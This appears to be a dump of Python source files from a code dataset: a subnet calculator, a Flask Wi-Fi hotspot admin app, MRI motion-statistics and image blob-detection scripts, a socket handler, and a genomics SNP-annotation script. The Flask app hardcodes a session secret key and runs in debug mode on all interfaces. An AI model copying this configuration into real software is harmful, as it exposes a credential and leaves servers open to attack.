int(ip.split('.')[0]),int(ip.split('.')[1]),int(ip.split('.')[2]),int(ip.split('.')[3])\nmask1,mask2,mask3,mask4 = [int(bin_mask[0:8],2), int(bin_mask[8:16],2), int(bin_mask[16:24],2), int(bin_mask[24:32],2)]\n \nnet1,net2,net3,net4 = int(bin(ip1),2) & int(bin(mask1),2), int(bin(ip2),2) & int(bin(mask2),2), int(bin(ip3),2) & int(bin(mask3),2), int(bin(ip4),2) & int(bin(mask4),2)\n \noutput_template = '''\n Network:\n {0:<8} {1:<8} {2:<8} {3:<8}\n {0:08b} {1:08b} {2:08b} {3:08b}\n \n Mask:\n {4:<8} {5:<8} {6:<8} {7:<8}\n {4:08b} {5:08b} {6:08b} {7:08b}\n '''\n\nprint(output_template.format(net1,net2,net3,net4,mask1,mask2,mask3,mask4))\n\n\n","sub_path":"mywork/exercises/05_basic_scripts/done_task_5_1a.py","file_name":"done_task_5_1a.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"268795207","text":"# _*_ coding: utf-8 _*_\n\n\nimport os\n\nfrom unipath import FSPath\n\nfrom flask import Flask\n\nfrom flask.ext.admin.base import MenuLink, Admin\nfrom flask_login import LoginManager, url_for\n\nfrom loggers import LoggingConfig\nimport views.admin as views_admin\nimport views.hotspot as views_hotspot\nfrom utils.auth import User, check_default_password\n\n\nBASE_DIR = FSPath(__file__).absolute().parent\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['REDIRECT_URL'] = 'http://wifi.wfguide.net/'\n\napp.config['APP_HREF_ANDROID'] = 'https://play.google.com/store/apps/details?id=com.supercell.clashofclans'\napp.config['APP_HREF_IOS'] = 'https://itunes.apple.com/ru/app/sberbank-onlajn/id492224193?mt=8'\n\napp.secret_key = '&ov)^*l#^2co&-=ge^r#er)a4l=&iednp(9vl+9@pi8if771ms'\n\nlog_config = LoggingConfig(os.path.join(BASE_DIR.parent, 'log', 'spot-admin.log'),\n os.path.join(BASE_DIR.parent, 'log', 'spot-admin.error'))\nfor handler in log_config.handlers:\n app.logger.addHandler(handler)\n\n\nlogin_manager = LoginManager(app)\nlogin_manager.login_view = \"LoginView\"\nlogin_manager.login_message = None\n\n\nadmin = Admin(app, name='SpotAdmin',\n template_mode='bootstrap3',\n index_view=views_admin.SpotInfoView())\n\nadmin.add_view(views_admin.WanView())\nadmin.add_view(views_admin.AdministrationView())\nadmin.add_view(views_admin.RegistrationView())\nadmin.add_view(views_admin.DeviceTestView())\nadmin.add_view(views_admin.RebootView())\n# # Add logout link by endpoint\nadmin.add_link(MenuLink(name='Logout', endpoint='LoginView'))\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.get(user_id)\n\n\napp.add_url_rule('/login/', view_func=views_admin.LoginView.as_view('LoginView'))\napp.add_url_rule('/logout/', view_func=views_admin.LogoutView.as_view('LogoutView'))\napp.add_url_rule('/activate/', view_func=views_admin.ActivateView.as_view('ActivateView'))\n\n# hotspot's url\napp.add_url_rule('/sms/', view_func=views_hotspot.SmsView.as_view('SmsView'))\napp.add_url_rule('/code/', view_func=views_hotspot.CodeView.as_view('CodeView'))\napp.add_url_rule('/exit/', view_func=views_hotspot.ExitView.as_view('ExitView'))\napp.add_url_rule('/download/', view_func=views_hotspot.DownloadView.as_view('DownloadView'))\napp.add_url_rule('/', view_func=views_hotspot.IndexView.as_view('IndexView'))\napp.add_url_rule('/<path:path>', view_func=views_hotspot.IndexView.as_view('IndexView2'))\n\n\n@app.before_first_request\ndef _run_on_start(*args, **kwargs):\n session_path = [BASE_DIR, 'sessions']\n\n FSPath(session_path).mkdir()\n app.config['SESSION_PATH'] = session_path\n check_default_password(session_path)\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=5001, host='0.0.0.0')\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"253944287","text":"import glob, os\nimport math\nimport scipy.io as sio\nimport numpy as np\nimport matplotlib.pyplot as plt \nfrom scipy.stats import norm\n\ndef truncate(f, n):\n '''Truncates/pads a float f to n decimal places without rounding'''\n s = '{}'.format(f)\n if 'e' in s or 'E' in s:\n return '{0:.{1}f}'.format(f, n)\n i, p, d = s.partition('.')\n return '.'.join([i, (d+'0'*n)[:n]])\n\n# ------------------------------------------\ndef calculate_diff(inarray):\n\tdiff_ = []\n\tfor ii in range(1,len(inarray)):\n\t\tdiff_.append(inarray[ii]-inarray[ii-1])\n\n\treturn np.asarray(diff_)\n\n\ndef data_loader(input_off, input_on):\n\ttime_x = np.squeeze(np.array(input_off['logdata_OFF_realtime']))\n\ty_off_tr_x =np.squeeze(np.array(input_off['logdata_OFF_realtimex']))\n\ty_off_tr_y =np.squeeze(np.array(input_off['logdata_OFF_realtimey']))\n\ty_off_tr_z =np.squeeze(np.array(input_off['logdata_OFF_realtimez']))\n\t\n\ty_on_tr_x =np.squeeze(np.array(input_on['logdata_ON_realtimex']))\n\ty_on_tr_y =np.squeeze(np.array(input_on['logdata_ON_realtimey']))\n\ty_on_tr_z =np.squeeze(np.array(input_on['logdata_ON_realtimez']))\n\n\ty_off_rot_x =np.squeeze(np.array(input_off['logdata_OFF_realtimeRx']))\n\ty_off_rot_y =np.squeeze(np.array(input_off['logdata_OFF_realtimeRy']))\n\ty_off_rot_z =np.squeeze(np.array(input_off['logdata_OFF_realtimeRz']))\n\t\n\ty_on_rot_x =np.squeeze(np.array(input_on['logdata_ON_realtimeRx']))\n\ty_on_rot_y =np.squeeze(np.array(input_on['logdata_ON_realtimeRy']))\n\ty_on_rot_z =np.squeeze(np.array(input_on['logdata_ON_realtimeRz']))\n\t\n\tcheck_size_off_ = int(np.asarray(y_off_tr_x.shape))\n\tcheck_size_on_ = int(np.asarray(y_on_tr_x.shape))\n\t\n\tif (check_size_off_ > check_size_on_):\n\t\ty_off_tr_x = y_off_tr_x[check_size_off_ -check_size_on_:]\n\t\ty_off_tr_y = y_off_tr_y[check_size_off_ -check_size_on_:]\n\t\ty_off_tr_z = y_off_tr_z[check_size_off_ -check_size_on_:]\n\t\ty_off_rot_x = y_off_rot_x[check_size_off_ -check_size_on_:]\n\t\ty_off_rot_y = y_off_rot_y[check_size_off_ -check_size_on_:]\n\t\ty_off_rot_z = y_off_rot_z[check_size_off_ -check_size_on_:]\n\telif (check_size_off_ < check_size_on_):\n\t\ty_on_tr_x = y_on_tr_x[check_size_on_ -check_size_off_:]\n\t\ty_on_tr_y = y_on_tr_y[check_size_on_ -check_size_off_:]\n\t\ty_on_tr_z = y_on_tr_z[check_size_on_ -check_size_off_:]\n\t\ty_on_rot_x = y_on_rot_x[check_size_on_ -check_size_off_:]\n\t\ty_on_rot_y = y_on_rot_y[check_size_on_ -check_size_off_:]\n\t\ty_on_rot_z = y_on_rot_z[check_size_on_ -check_size_off_:]\n\t\n\treturn y_off_tr_x, y_off_tr_y, y_off_tr_z, y_off_rot_x, y_off_rot_y, y_off_rot_z, \\\n\t\t y_on_tr_x, y_on_tr_y, y_on_tr_z, y_on_rot_x, y_on_rot_y, y_on_rot_z, time_x\n\n\nsessions = ['Off']#['Off', 'On']\ncontrasts = ['T2s025']#['PD', 'T1', 'T2', 'T2s05', 'T2s035', 'T2s025']\n\n\n## PD analysis:\nif contrasts[0] == 'PD':\n\tcorr_size_ = 19502\nelif contrasts[0] == 'T1':\n\tcorr_size_ = 80807\nelif contrasts[0] == 'T2':\n\tcorr_size_ = 19502\nelif contrasts[0] == 'T2s05':\n\tcorr_size_ = 11038\nelif contrasts[0] == 'T2s035':\n\tcorr_size_ = 15358\nelse:\n\tcorr_size_ = 21118\n\n#filetxt = str(contrasts[0])+\"_\"+str(sessions[0])+\"_haralick.txt\"\n#myfile = open(filetxt, 'w')\n\nfiletxt = str(contrasts[0])+\"_distr_mean_std.txt\"\nmyfile = open(filetxt, 'w')\nfor cont_ in contrasts:\n\tfor sess in sessions:\n\t\tfor file in sorted(os.listdir(\"./\"+str(sess)+\"/zz_tmp_mat/\"+str(cont_)+\"/\")):\n\t\t\tif file.endswith(\".mat\"):\n\t\t\t\t# print(file) \n\t\t\t\tpmc_off = os.path.join(\"./\"+str(sess)+\"/zz_tmp_mat/\"+str(cont_)+\"/\", file)\n\t\t\t\tpmc_on = os.path.join(\"./On/zz_tmp_mat/\"+str(cont_)+\"/\", file.replace('OFF','ON'))\n\t\t\t\t# print(pmc_off, pmc_on)\n\t\t\t\ttmp_data_OFF = sio.loadmat(pmc_off)\n\t\t\t\ttmp_data_ON = sio.loadmat(pmc_on)\n\n\t\t\t\tftrx, ftry, ftrz, frx, fry, frz, ntrx, ntry, ntrz, nrx, nry, nrz, time_x = data_loader(tmp_data_OFF, tmp_data_ON)\n\t\t\t\t## -----------------------------------------\n\t\t\t\t# - pmc off -\n\t\t\t\tftrx = ftrx[len(ftrx)-corr_size_:]\n\t\t\t\tftry = ftry[len(ftry)-corr_size_:]\n\t\t\t\tftrz = ftrz[len(ftrz)-corr_size_:]\n\t\t\t\tfrx = frx[len(frx)-corr_size_:]\n\t\t\t\tfry = fry[len(fry)-corr_size_:]\n\t\t\t\tfrz = frz[len(frz)-corr_size_:]\n\n\t\t\t\t# - pmc on -\n\t\t\t\tntrx = ntrx[len(ntrx)-corr_size_:]\n\t\t\t\tntry = ntry[len(ntry)-corr_size_:]\n\t\t\t\tntrz = ntrz[len(ntrz)-corr_size_:]\n\t\t\t\tnrx = nrx[len(nrx)-corr_size_:]\n\t\t\t\tnry = nry[len(nry)-corr_size_:]\n\t\t\t\tnrz = nrz[len(nrz)-corr_size_:]\n\t\t\t\t## -----------------------------------------\n\t\t\t\t\n\t\t\t\tofftrx_ = ftrx - ftrx[0]\n\t\t\t\tofftry_ = ftry - ftry[0]\n\t\t\t\tofftrz_ = ftrz - ftrz[0]\n\n\t\t\t\toffrx_ = frx - frx[0]\n\t\t\t\toffry_ = fry - fry[0]\n\t\t\t\toffrz_ = frz - frz[0]\n\n\n\t\t\t\tontrx_ = ntrx - ntrx[0]\n\t\t\t\tontry_ = ntry - ntry[0]\n\t\t\t\tontrz_ = ntrz - ntrz[0]\n\n\t\t\t\tonrx_ = nrx - nrx[0]\n\t\t\t\tonry_ = nry - nry[0]\n\t\t\t\tonrz_ = nrz - nrz[0]\n\n\t\t\t\t## --------------------------------------------\n\t\t\t\ttmp_offtrx = calculate_diff(offtrx_[0::30])\n\t\t\t\ttmp_ontrx = calculate_diff(ontrx_[0::30])\n\n\t\t\t\ttmp_offtry = calculate_diff(offtry_[0::30])\n\t\t\t\ttmp_ontry = calculate_diff(ontry_[0::30])\n\n\t\t\t\ttmp_offtrz = calculate_diff(offtrz_[0::30])\n\t\t\t\ttmp_ontrz = calculate_diff(ontrz_[0::30])\n\n\t\t\t\ttmp_offrx = calculate_diff(offrx_[0::30])\n\t\t\t\ttmp_onrx = calculate_diff(onrx_[0::30])\n\n\t\t\t\ttmp_offry = calculate_diff(offry_[0::30])\n\t\t\t\ttmp_onry = calculate_diff(onry_[0::30])\n\n\t\t\t\ttmp_offrz = calculate_diff(offrz_[0::30])\n\t\t\t\ttmp_onrz = calculate_diff(onrz_[0::30])\n\n\t\t\t\tmuofftrx, stdofftrx = norm.fit(tmp_offtrx)\n\t\t\t\tmuofftry, stdofftry = norm.fit(tmp_offtry)\n\t\t\t\tmuofftrz, stdofftrz = norm.fit(tmp_offtrz)\n\n\t\t\t\tmuoffrx, stdoffrx = norm.fit(tmp_offrx)\n\t\t\t\tmuoffry, stdoffry = norm.fit(tmp_offry)\n\t\t\t\tmuoffrz, stdoffrz = norm.fit(tmp_offrz)\n\n\t\t\t\tmuontrx, stdontrx = norm.fit(tmp_ontrx)\n\t\t\t\tmuontry, stdontry = norm.fit(tmp_ontry)\n\t\t\t\tmuontrz, stdontrz = norm.fit(tmp_ontrz)\n\n\t\t\t\tmuonrx, stdonrx = norm.fit(tmp_onrx)\n\t\t\t\tmuonry, stdonry = norm.fit(tmp_onry)\n\t\t\t\tmuonrz, stdonrz = norm.fit(tmp_onrz)\n\n\t\t\t\ttext_ = [file[0:4], muofftrx, stdofftrx, muofftry, stdofftry, muofftrz, stdofftrz,\n\t\t\t\t\t\t\t\t\tmuoffrx, stdoffrx, muoffry, stdoffry, muoffrz, stdoffrz,\n\t\t\t\t\t\t\t\t\tmuontrx, stdontrx, muontry, stdontry, muontrz, stdontrz,\n\t\t\t\t\t\t\t\t\tmuonrx, stdonrx, muonry, stdonry, muonrz, stdonrz]\n\t\t\t\ttmp_line_ = str(text_)\n\t\t\t\ttmp_line_ = tmp_line_.replace('[','')\n\t\t\t\ttmp_line_ = tmp_line_.replace(']','')\n\t\t\t\tprint(tmp_line_)\n\t\t\t\tmyfile.write(\"%s\\n\" % str(tmp_line_))\n\t\t\t\t","sub_path":"statistics-logs-PMC/distributions_mean_std.py","file_name":"distributions_mean_std.py","file_ext":"py","file_size_in_byte":6250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"76067832","text":"import cv2\n# import sys\n# import os\nfrom os import listdir\nfrom os.path import isfile, join\nimport numpy as np\n\ndef detect(image):\n # read original picture >> img0\n print(\"filename: \", image)\n img0 = cv2.imread('' + image)\n \"\"\"\n cv2.namedWindow('original', cv2.WINDOW_AUTOSIZE)\n cv2.imshow('original', img0)\n k = cv2.waitKey()\n if k == 27:\n exit()\n \"\"\"\n # convert to grayscale >> img1\n img1 = cv2.cvtColor(img0, cv2.COLOR_BGR2GRAY)\n \"\"\"\n cv2.namedWindow('grayscale', cv2.WINDOW_AUTOSIZE)\n cv2.imshow('grayscale', img1)\n k = cv2.waitKey()\n if k == 27:\n exit()\n \"\"\"\n # add blur to grayscale >> img2\n img2 = cv2.medianBlur(img1, 19)\n \"\"\"\n cv2.namedWindow('blur', cv2.WINDOW_AUTOSIZE)\n cv2.imshow('blur', img2)\n k = cv2.waitKey()\n if k == 27:\n exit()\n \"\"\"\n # binary threshold to filter noise >> img3\n ret, img3 = cv2.threshold(img2, 100, 255, 0)\n # optional: Gaussian adaptive threshold algorythm\n #img3 = cv2.adaptiveThreshold(img2, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 63, 5) \n\n # Read image\n im = img3\n \n # Setup SimpleBlobDetector parameters. source: https://www.learnopencv.com/blob-detection-using-opencv-python-c/\n params = cv2.SimpleBlobDetector_Params()\n\n # Change thresholds\n params.minThreshold = 10\n params.maxThreshold = 200\n\n # Filter by Area.\n params.filterByArea = True\n params.minArea = 100\n\n # Filter by Circularity\n params.filterByCircularity = True\n params.minCircularity = 0.2\n\n # Filter by Convexity\n params.filterByConvexity = True\n params.minConvexity = 0.87\n \n # Filter by Inertia\n params.filterByInertia = True\n params.minInertiaRatio = 0.01\n\n detector = cv2.SimpleBlobDetector_create(params)\n\n # Detect blobs.\n keypoints = detector.detect(im)\n dots = len(keypoints)\n print(\"keypoints: \", dots)\n\n if dots > 0:\n \n # Draw detected blobs as red circles.\n # cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS ensures\n # the size of the circle corresponds to the size of blob\n\n im_with_keypoints = cv2.drawKeypoints(im, keypoints, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n # Write number of blobs to image\n position = (10,50)\n cv2.putText(\n im_with_keypoints, #numpy array on which text is written\n str(dots), #text\n position, #position at which writing has to start\n cv2.FONT_HERSHEY_COMPLEX, #font family\n 1, #font size\n (0, 0, 255), #font color\n 3) #font stroke\n \n # Show blobs\n cv2.imshow(\"Keypoints\", im_with_keypoints)\n\n else:\n print(\"No dots found, inverting\")\n img4 = cv2.bitwise_not(img3)\n \n # Setup SimpleBlobDetector parameters.\n params = cv2.SimpleBlobDetector_Params()\n\n # Change thresholds\n params.minThreshold = 10\n params.maxThreshold = 200\n\n # Filter by Color\n params.blobColor = 0\n\n # Filter by Area.\n params.filterByArea = True\n params.minArea = 100\n\n # Filter by Circularity\n params.filterByCircularity = True\n params.minCircularity = 0.2\n\n # Filter by Convexity\n params.filterByConvexity = True\n params.minConvexity = 0.87\n \n # Filter by Inertia\n params.filterByInertia = True\n params.minInertiaRatio = 0.01\n\n # Create a detector with the parameters\n detector = cv2.SimpleBlobDetector_create(params)\n\n # Detect blobs.\n keypoints = detector.detect(img4)\n dots = len(keypoints)\n print(\"keypoints: \", dots)\n\n # Draw detected blobs as red circles.\n # cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS ensures\n # the size of the circle corresponds to the size of blob\n\n im_with_keypoints = cv2.drawKeypoints(img4, keypoints, np.array([]), (0,0,255), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n # Write number of blobs to image\n position = (10,50)\n cv2.putText(\n im_with_keypoints, #numpy array on which text is written\n str(dots), #text\n position, #position at which writing has to start\n cv2.FONT_HERSHEY_COMPLEX, #font family\n 1, #font size\n (0, 0, 255), #font color\n 3) #font stroke\n \n # Show blobs\n cv2.imshow(\"Keypoints\", im_with_keypoints)\n\n k = cv2.waitKey()\n if k == 27:\n exit()\n\n \n\nmypath='img/' # subfolder name with image files\nonlyfiles = [ f for f in listdir(mypath) if isfile(join(mypath,f)) ] # list of filenames\nimages = np.empty(len(onlyfiles), dtype=object) # list of relative path of files (subfolder + filename)\nfor n in range(0, len(onlyfiles)):\n images[n] = detect( join(mypath,onlyfiles[n]) )\n\ncv2.waitKey()\nexit()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489248287","text":"\nrcsid = '$Id: srv_hdlr.py,v 1.43 2001/09/12 02:03:34 rand Exp $'\ncopy = 'Copyright (C) 2000 Randix Systems GmbH. All rights reserved.'\n\nimport os, socket, string, sys, time \nimport log, msgpkt, sock\nimport ga_hdlr, cfg, util\n\n#------------------------------------------------ \nclass srv(sock.sock):\n\n def __init__(self, ip):\n port = socket.getservbyname('aprsrv', 'tcp')\n sock.sock.__init__(self, ip, port)\n self.socket(socket.AF_INET, socket.SOCK_STREAM)\n log.l.LogIt('RTS001', 'I', 'try connect cfg %s:%d', (ip, port))\n try:\n self.connect((ip, int(port)))\n except:\n log.l.LogIt('RTS002', 'I', 'close cfg %s: %d: %s',\n (self.ip, self.reason, os.strerror(self.reason)))\n self.close()\n\n def handle_connect(self):\n self.keepalive()\n log.l.LogIt('RTS003', 'I', 'cfg %s connected on port %s', (self.ip, self.getsockname()[1]))\n cfg.servers[self.ip]['cmdchan'] = self\n cfg.servers[self.ip]['cmdbuf'] = []\n cfg.servers[self.ip]['cmdbuf'].append('connected')\n #--------------\n self.msgpkt_hdr = ''\n self.msgpkt_buf = ''\n self.msgpkt_len = 0\n\n def handle_read(self):\n retval = msgpkt.recv(self)\n if retval == 0:\n return\n if retval == -1:\n self.handle_close()\n return\n data = self.msgpkt_buf\n self.msgpkt_hdr = ''\n self.msgpkt_buf = ''\n self.msgpkt_len = 0\n\n if data != '':\n log.l.LogIt('RTS004', 'D', '%s i: %s', (self.ip, data))\n\n tok = string.split(data)\n if tok[0] == 'ok':\n pass\n\n elif tok[0] == 'atm':\n if len(tok) == 8:\n # wsid dom port sub prim sec fb\n ga_hdlr.setatm(tok[1], tok[2], tok[3], tok[4], tok[5], tok[6], tok[7])\n else:\n ga_hdlr.badatm(tok[1])\n\n def handle_write(self):\n if len(cfg.servers[self.ip]['cmdbuf']):\n command = cfg.servers[self.ip]['cmdbuf'][0]\n log.l.LogIt('RTS005', 'D', '%s o: %s', (self.ip, command))\n try:\n result = msgpkt.send(self, 'cfg', command)\n except:\n self.handle_close()\n return\n if result:\n cfg.servers[self.ip]['cmdbuf'] = cfg.servers[self.ip]['cmdbuf'][1:]\n \n def handle_close(self):\n log.l.LogIt('RTS006', 'I', 'close cfg %s: %d: %s',\n (self.ip, self.reason, os.strerror(self.reason)))\n self.close()\n del cfg.servers[self.ip]['cmdchan']\n cfg.servers[self.ip]['cmdchan'] = None\n\n def writable(self):\n if not self.connected:\n return 1\n if len(cfg.servers[self.ip]['cmdbuf']):\n return 1\n return 0\n\n#------------------------------------------------ \n","sub_path":"router/srv_hdlr.py","file_name":"srv_hdlr.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613527505","text":"\n# coding: utf-8\n\n# ## Imports:\n\n# In[1]:\n\n# imports\nimport csv\n\nfrom collections import defaultdict\n\nimport pandas as pd\npd.set_option('display.max_columns', 60)\n\nimport munch\n\nfrom IPython.display import display, HTML\n\nimport pybedtools as pbt\n\nimport sh\n\nimport tabulate\ntbl = tabulate.tabulate\n\nfrom spartan.utils.annotations.ensembl.gff3 import parse_gff3\nfrom spartan.utils.annotations.ensembl.gff3 import parse_gff3_attributes\n\nfrom spartan.utils.fastas import ParseFastA\n\nfrom spartan.utils.files import tableFile2namedTuple\n\nfrom spartan.utils.genome_specific.GfusI1 import GfusI1_0\n\n\n# ## File paths:\n\n# In[4]:\n\n# File Paths\n\n## Fasta file for renaming contigs ----------------------------------------------------------\nfasta = \"/home/gus/remote_mounts/louise/data/genomes/glossina_fuscipes/assemblies/GfusI1/Glossina-fuscipes-IAEA_SCAFFOLDS_GfusI1.fa\"\n\n## Functional annatation (Argot2)\nfanno = \"/home/gus/remote_mounts/louise/data/genomes/glossina_fuscipes/annotations/functional/GfusI1.1_pre/argot2_out/argot_functional_annotations_ts150.h5\"\n\n## For setting up the BEDTOOLS phase\nbtools_gene_models_gff3 = \"/home/gus/remote_mounts/louise/data/genomes/glossina_fuscipes/annotations/Glossina-fuscipes-IAEA_BASEFEATURES_GfusI1.1.gff3\"\n\n## Input BEDs etc if using files\nSelected_PopPairwiseMSOT_Environm_path = \"/home/gus/Documents/YalePostDoc/project_stuff/g_f_fucipes_uganda/ddrad58/data_from_andrea/2015-03-17_env_selection/Selected_PopPairwiseMSOT_Environm.bed\"\nTop10_corrected_PopPairwiseOverlap_Infection2015_path = \"/home/gus/Documents/YalePostDoc/project_stuff/g_f_fucipes_uganda/ddrad58/data_from_andrea/2015-07-23_overlap_infection/Top10_corrected_PopPairwiseOverlap_Infection2015.bed\"\n\n\n\n# In[5]:\n\nSelected_PopPairwiseMSOT_Environm = pbt.BedTool(Selected_PopPairwiseMSOT_Environm_path)\nTop10_corrected_PopPairwiseOverlap_Infection2015 = pbt.BedTool(Top10_corrected_PopPairwiseOverlap_Infection2015_path)\n\n\n# In[6]:\n\n# name_map = GfusI1_0.get_name_map_from_fasta_headers(fasta)\n\n\n# In[7]:\n\n# name_map['KK351935.1']\n\n\n# In[8]:\n\n# load gene models into pybedtools object and filter for only gene features\nbtools_gene_models_pbt = pbt.BedTool(btools_gene_models_gff3)\ngenes = btools_gene_models_pbt.filter(lambda x: x[2] == 'gene').saveas()\n\n\n# In[9]:\n\n# load functional annotations\nargot2 = pd.read_hdf(path_or_buf=fanno, key='dataframe')\n\n\n# In[10]:\n\nargot2['gene_id'] = argot2.Sequence.apply(lambda x: x[:-3])\nargot2_200 = argot2[argot2['Total Score'] >= 200]\nargot2.head()\n\n\n# #### Function to create dictionary-based retrieval object for gene/SNP data:\n\n# In[11]:\n\ndef snp_vs_gff_to_DF(bedtools_out):\n headers = [\"bed3_seq\",\n \"bed3_start\",\n \"bed3_end\",\n \"gff3_seq\",\n \"gff3_source\",\n \"gff3_type\",\n \"gff3_start\",\n \"gff3_end\",\n \"gff3_score\",\n \"gff3_strand\",\n \"gff3_phase\",\n \"gff3_attributes\",]\n df = pd.read_csv(bedtools_out.fn, sep='\\t', names=headers)\n \n gene_id = lambda x: parse_gff3_attributes(x)['ID']\n \n df['gff3_rec'] = df.gff3_attributes.apply(gene_id)\n \n return df\n\ndef genes_near_bed(query_bedtool, gene_bedtool, annotations, w=1000):\n df = snp_vs_gff_to_DF(query_bedtool.window(gene_bedtool, w=w))\n df = df.merge(right=annotations,\n how='left',\n on=None,\n left_on='gff3_rec', \n right_on='gene_id')\n return df\n\n\n# In[19]:\n\n# - generate set of non-redundant andrea snps from joined table as set of tuples\n# - convert to bedtool object(s)\ndef reduce_joined_SNP_coords(snps_interest_df):\n df = snps_interest_df # less typing\n\n if len(df) == 0:\n return None\n \n \n snp_set = set()\n snp_set.update(list(df.apply(lambda x: str((x.seq_x, x.start_x, x.end_x)),1)))\n snp_set.update(list(df.apply(lambda x: str((x.seq_y, x.start_y, x.end_y)),1)))\n\n snp_set.discard(\"(nan, nan, nan)\")\n \n return pbt.BedTool('\\n'.join((l.replace(\".0\",'').replace(\"'\",\"\").replace('(','').replace(')','').replace(',','\\t') for l in snp_set)), from_string=True)\n\n\n# - get windowed intersection intersection with gene models using pybedtools\n\ndef get_win_isec(a,b,win=1000):\n if a is None:\n return None\n return a.window(b, w=win)\n\n# get all results as data-frame\n\ndef batch_process_SNPs(snps_interest):\n \n BEDS = munch.Munch()\n NEARBY_GENES = munch.Munch()\n JOINED_ANNOS = munch.Munch()\n \n \n # get beds\n for name,table in snps_interest.items():\n BEDS[name] = reduce_joined_SNP_coords(table)\n \n # get genes nearby\n for name,value in BEDS.items():\n if value is not None:\n NEARBY_GENES[name] = snp_vs_gff_to_DF(get_win_isec(a=value,b=gene_mods,win=1000))\n else:\n NEARBY_GENES[name] = None\n \n \n for name, value in NEARBY_GENES.items():\n if value is None:\n pass\n elif (len(value) > 0):\n add_SNP_to_gene_distance(value)\n else:\n NEARBY_GENES[name] = None\n\n # make anno joins\n for name, value in NEARBY_GENES.items():\n if value is not None:\n JOINED_ANNOS[name] = join_genes_with_annos(genes=value, annotations=argot2, how=\"inner\")\n else:\n JOINED_ANNOS[name] = None\n \n return BEDS,NEARBY_GENES,JOINED_ANNOS\n\ndef add_SNP_to_gene_distance(df):\n if df is not None:\n df['d_to_gene'] = df.apply(d_to_gene,1)\n\n\ndef d_to_gene(x):\n\n low,high = ((x.bed3_end - x.gff3_start),(x.bed3_end - x.gff3_end))\n\n if (low >= 0) and (high <= 0):\n return 0\n else:\n return min([abs(low),abs(high)])\n\n \n\n# get annotations for genes:\ndef join_genes_with_annos(genes, annotations, how=\"inner\"):\n if genes is None:\n return None\n return pd.merge(left=genes, right=annotations, \n how=how, \n on=None, \n left_on='gff3_rec', right_on='gene_id')\n\n\n# In[14]:\n\ndef make_table_selected_snps_vs_LD_filter(anno_dfs):\n \n new_headers = [\"SNP group\",\n \"Gene\",\n \"Scaffold\",\n \"SNP Location\",\n \"Distance to Gene\",\n \"Top C\",\n \"Top P\",\n \"Top F\"]\n\n old_headers = [\"snp_group\",\n \"bed3_seq\",\n \"gff3_rec\",\n \"bed3_end\",\n \"d_to_gene\"]\n\n\n \n concat_df = concat_dfs(anno_dfs)\n\n\n # group concat_df\n groups = concat_df.groupby(by=old_headers)\n\n # Collect row data\n out_rows = []\n\n for name,group in groups.groups.items():\n out_rows.append(new_row_from_group(groups.get_group(name)))\n\n # create final table\n return pd.DataFrame(data=out_rows, index=None, columns=new_headers, dtype=None, copy=False)\n\n\n\ndef new_row_from_group(group):\n\n row = get_old_header_values(group)\n row[\"Top C\"] = get_top_3_terms(group=group,aspect=\"C\")\n row[\"Top P\"] = get_top_3_terms(group=group,aspect=\"P\")\n row[\"Top F\"] = get_top_3_terms(group=group,aspect=\"F\")\n\n return pd.Series(row)\n\ndef get_old_header_values(group):\n vals = munch.Munch()\n\n vals[\"SNP group\"] = group.snp_group.iloc[0]\n vals[\"Scaffold\"] = group.bed3_seq.iloc[0]\n vals[\"Gene\"] = group.gene_id.iloc[0]\n vals[\"SNP Location\"] = group.bed3_end.iloc[0]\n vals[\"Distance to Gene\"] = group.d_to_gene.iloc[0]\n\n return vals\n\n\ndef get_top_3_terms(group,aspect):\n df = group.query(\"Aspect == '{aspect}'\".format(aspect=aspect))\n\n return \";\".join(df.sort(\"Total Score\").Name[:3].values)\n\ndef concat_dfs(dfs):\n\n concat_df = pd.DataFrame()\n\n # add snp-group name to rows and concat to new table\n for name, df in dfs.items():\n\n try:\n df[\"snp_group\"] = name\n except TypeError:\n pass\n\n concat_df = pd.concat(objs=[concat_df,df], axis=0, join='outer', join_axes=None, ignore_index=True, keys=None, levels=None, names=None, verify_integrity=False, copy=True)\n\n return concat_df\n\n\n# # Genes located near by `query_bedtool`\n\n# In[11]:\n\n# query_out = snp_vs_gff_to_DF(query_bedtool.window(genes, w=1000))\n\n\n# In[12]:\n\n# query_out.head()\n\n\n# In[20]:\n\nNEARBY_GENES = {}\nNEARBY_GENES['Top10_corrected_PopPairwiseOverlap_Infection2015'] = genes_near_bed(query_bedtool=Top10_corrected_PopPairwiseOverlap_Infection2015, gene_bedtool=genes, annotations=argot2)\nNEARBY_GENES['Selected_PopPairwiseMSOT_Environm'] = genes_near_bed(query_bedtool=Selected_PopPairwiseMSOT_Environm, gene_bedtool=genes, annotations=argot2)\n\n\n# In[21]:\n\nfor name, value in NEARBY_GENES.items():\n if value is None:\n pass\n elif (len(value) > 0):\n add_SNP_to_gene_distance(value)\n else:\n NEARBY_GENES[name] = None\n\n\n# In[22]:\n\ntable1 = make_table_selected_snps_vs_LD_filter(NEARBY_GENES)\n\n\n# In[ ]:\n\n\n\n","sub_path":"scratch/scripts/2015-07-24__report_to_andrea_about_ddrad58.py","file_name":"2015-07-24__report_to_andrea_about_ddrad58.py","file_ext":"py","file_size_in_byte":8938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"358842865","text":"\"\"\"\nCog containing 